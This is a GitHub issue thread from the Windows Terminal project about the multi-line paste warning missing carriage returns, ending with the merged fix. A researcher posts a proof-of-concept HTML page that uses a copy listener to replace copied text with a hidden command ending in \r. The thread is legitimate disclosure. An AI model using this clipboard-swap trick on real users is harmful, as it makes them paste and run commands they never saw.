Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

Sign up for GitHub

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Jump to bottom

Multi-line paste warning doesn't detect \r, only \n #8601

Closed
DHowett opened this issue Dec 16, 2020 · 12 comments · Fixed by #8634
Closed

Multi-line paste warning doesn't detect \r, only \n #8601

DHowett opened this issue Dec 16, 2020 · 12 comments · Fixed by #8634
Labels
Area-UserInterface Issues pertaining to the user interface of the Console or Terminal Issue-Bug It either shouldn't be doing this or needs an investigation. Priority-3 A description (P3) Product-Terminal The new Windows Terminal. Resolution-Fix-Committed Fix is checked in, but it might be 3-4 weeks until a release.
Milestone
Terminal Backlog

Comments

@DHowett
Copy link
Member

DHowett commented Dec 16, 2020 •
edited
Loading

Certain shells will execute commands on \r as well as \n, so we should try to catch \r as well.

This should probably be tackled at the same time as paste filtering. I originally thought that we should detect newlines after filtering, or perhaps during filtering, but would result in us doing a "lot" of work in the case where the user declines the paste.

Filtering: #5821.
@ghost ghost added Needs-Triage It's a new issue that the core contributor team needs to triage at the next triage meeting Needs-Tag-Fix Doesn't match tag requirements labels Dec 16, 2020
@DHowett DHowett changed the title Multi-line paste warning doesn't detect 0x0D, only 0x0A Multi-line paste warning doesn't detect \r, only \n Dec 16, 2020
@DHowett DHowett added Area-UserInterface Issues pertaining to the user interface of the Console or Terminal Issue-Bug It either shouldn't be doing this or needs an investigation. Priority-3 A description (P3) Product-Terminal The new Windows Terminal. labels Dec 16, 2020
@ghost ghost removed the Needs-Tag-Fix Doesn't match tag requirements label Dec 16, 2020
@DHowett DHowett removed the Needs-Triage It's a new issue that the core contributor team needs to triage at the next triage meeting label Dec 16, 2020
@DHowett DHowett added this to the Terminal Backlog milestone Dec 16, 2020
@DHowett DHowett added Help Wanted We encourage anyone to jump in on these. and removed Help Wanted We encourage anyone to jump in on these. labels Dec 16, 2020
@DHowett
Copy link
Member Author

DHowett commented Dec 17, 2020

@PankajBhojwani has expressed some interest in the various multiline paste issues. 😄

@DHowett DHowett added Needs-Author-Feedback The original author of the issue/PR needs to come back and respond to something and removed Needs-Author-Feedback The original author of the issue/PR needs to come back and respond to something labels Dec 17, 2020
@skyline75489
Copy link
Collaborator

I've done some work previously regarding paste filter in #7508 . But it's more of a PoC of bracketed paste mode. The security issue it trys to resolve is a serious one, though. See #395 (comment). I plan to focus on brackted paste for that PR when I get the time to work on it later. So It would be nice if paste filtering is landed first.

My implemention was explained here #7508 (comment), if anyone's interested

@Ry0taK
Copy link

Ry0taK commented Dec 17, 2020

I'm a security researcher who reported this issue to MSRC.
As this issue already made public, I'm posting the PoC here to help someone who will work on this issue.

<html>
	<head>
		<title>Windows Terminal multiple line paste warning bypass</title>
	</head>
	<body>
		<script>
			function copyListener(e){
				e.clipboardData.setData("text/plain" , "echo 'evil command :P'\r");    
				e.preventDefault();
			}
			document.addEventListener("copy" , copyListener);
		</script>
		<div>
			<code>
				echo 'normal command'
			</code>
		</div>
	</body>
</html>

To reproduce this issue, open this HTML in the browser, and copy the echo 'normal command'. Then paste it to Windows Terminal.

@skyline75489
Copy link
Collaborator

skyline75489 commented Dec 17, 2020 •
edited
Loading

OK so this issue seems to be more about filtering multi-line content, whereas my comment above focuses on filtering control sequences.

@DHowett Feel free to ignore my comments or do whatever you may want with it. I do believe these 2 issues belong to the same category and are closed related.

@Don-Vito
Copy link
Contributor

Don-Vito commented Dec 17, 2020 •
edited
Loading

@DHowett - today I am full of questions.. sorry..

Can you explain

This should probably be tackled at the same time as paste filtering. I originally thought that we should detect newlines after filtering, or perhaps during filtering, but would result in us doing a "lot" of work in the case where the user declines the paste.

When I saw this I said.. OK..just add "find \r" in TerminalPage::_PasteFromClipboardHandler. What have I missed (I mean we already do the same search for \n")?

@Don-Vito Don-Vito mentioned this issue Dec 17, 2020
Closed
6 tasks
@ghost ghost added the In-PR This issue has a related PR label Dec 17, 2020
@DHowett
Copy link
Member Author

DHowett commented Dec 18, 2020

So @Don-Vito - my concern is multifold.
We're already scanning through the string once to replace CRLF combos and once to detect newlines. We're running the risk of scanning through it a third time to detect carriage returns.

I'd rather avoid scanning the string three times, and I was thinking that if we're going to scan it once, we might as well do the \r\n, \r and \n -> \r filtering and the detection all at the same time.

@PankajBhojwani wanted to work on the multi-line paste warning enhancements, so it felt like a nice way for him to knock out three workitems at once.

@Don-Vito
Copy link
Contributor

@DHowett - as a quick win we can introduce std::find_if in detection to check for both. WDYT?

@DHowett
Copy link
Member Author

DHowett commented Dec 18, 2020

I dunno if we need a quick win at the moment 😄

If it weren’t for Pankaj saying he wanted to work on this, I’d say we would want a quick win. 🤷🏻

(I wouldn’t reject a PR that did that, but it would be in short order steamrolled with a second PR that did the other things, too!)

@Don-Vito
Copy link
Contributor

I dunno if we need a quick win at the moment 😄

If it weren’t for Pankaj saying he wanted to work on this, I’d say we would want a quick win. 🤷🏻

(I wouldn’t reject a PR that did that, but it would be in short order steamrolled with a second PR that did the other things, too!)

Makes sense! Assumed quick win might be helpful because of MSRC report. I will convert my PR to a draft.. in case it is somehow relevant. 😊

@Ry0taK
Copy link

Ry0taK commented Dec 18, 2020

Just FYI, the MSRC doesn't consider this as a security issue, so they already closed the MSRC report.

@PankajBhojwani PankajBhojwani mentioned this issue Dec 21, 2020
Merged
2 tasks
@ghost ghost closed this as completed in #8634 Jan 8, 2021
@ghost ghost added Resolution-Fix-Committed Fix is checked in, but it might be 3-4 weeks until a release. and removed In-PR This issue has a related PR labels Jan 8, 2021
ghost pushed a commit that referenced this issue Jan 8, 2021
@PankajBhojwani
Fix multi line paste detection and filtering (#8634)
49d0085 
- Detect `\r` when warning about multi line paste
- Translate `\n` to `\r` on paste

## PR Checklist
* [x] Closes #8601
* [x] Closes #5821

## Validation Steps Performed
Manual testing
DHowett pushed a commit that referenced this issue Jan 25, 2021
@PankajBhojwani @DHowett
Fix multi line paste detection and filtering (#8634)
a205f45 
- Detect `\r` when warning about multi line paste
- Translate `\n` to `\r` on paste

## PR Checklist
* [x] Closes #8601
* [x] Closes #5821

## Validation Steps Performed
Manual testing

(cherry picked from commit 49d0085)
@ghost
Copy link

ghost commented Jan 28, 2021

🎉This issue was addressed in #8634, which has now been successfully released as Windows Terminal v1.5.10271.0.:tada:

Handy links:

@ghost
Copy link

ghost commented Jan 28, 2021

🎉This issue was addressed in #8634, which has now been successfully released as Windows Terminal Preview v1.6.10272.0.:tada:

Handy links:

mpela81 pushed a commit to mpela81/terminal that referenced this issue Jan 28, 2021
@PankajBhojwani @mpela81
Fix multi line paste detection and filtering (microsoft#8634)
4fd557c 
- Detect `\r` when warning about multi line paste
- Translate `\n` to `\r` on paste

## PR Checklist
* [x] Closes microsoft#8601
* [x] Closes microsoft#5821

## Validation Steps Performed
Manual testing
This issue was closed.
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Assignees
No one assigned
Labels
Area-UserInterface Issues pertaining to the user interface of the Console or Terminal Issue-Bug It either shouldn't be doing this or needs an investigation. Priority-3 A description (P3) Product-Terminal The new Windows Terminal. Resolution-Fix-Committed Fix is checked in, but it might be 3-4 weeks until a release.
Projects
None yet
Milestone
Terminal Backlog
Development

Successfully merging a pull request may close this issue.

Fix multi line paste detection and filtering microsoft/terminal
4 participants
@DHowett @Don-Vito @skyline75489 @Ry0taK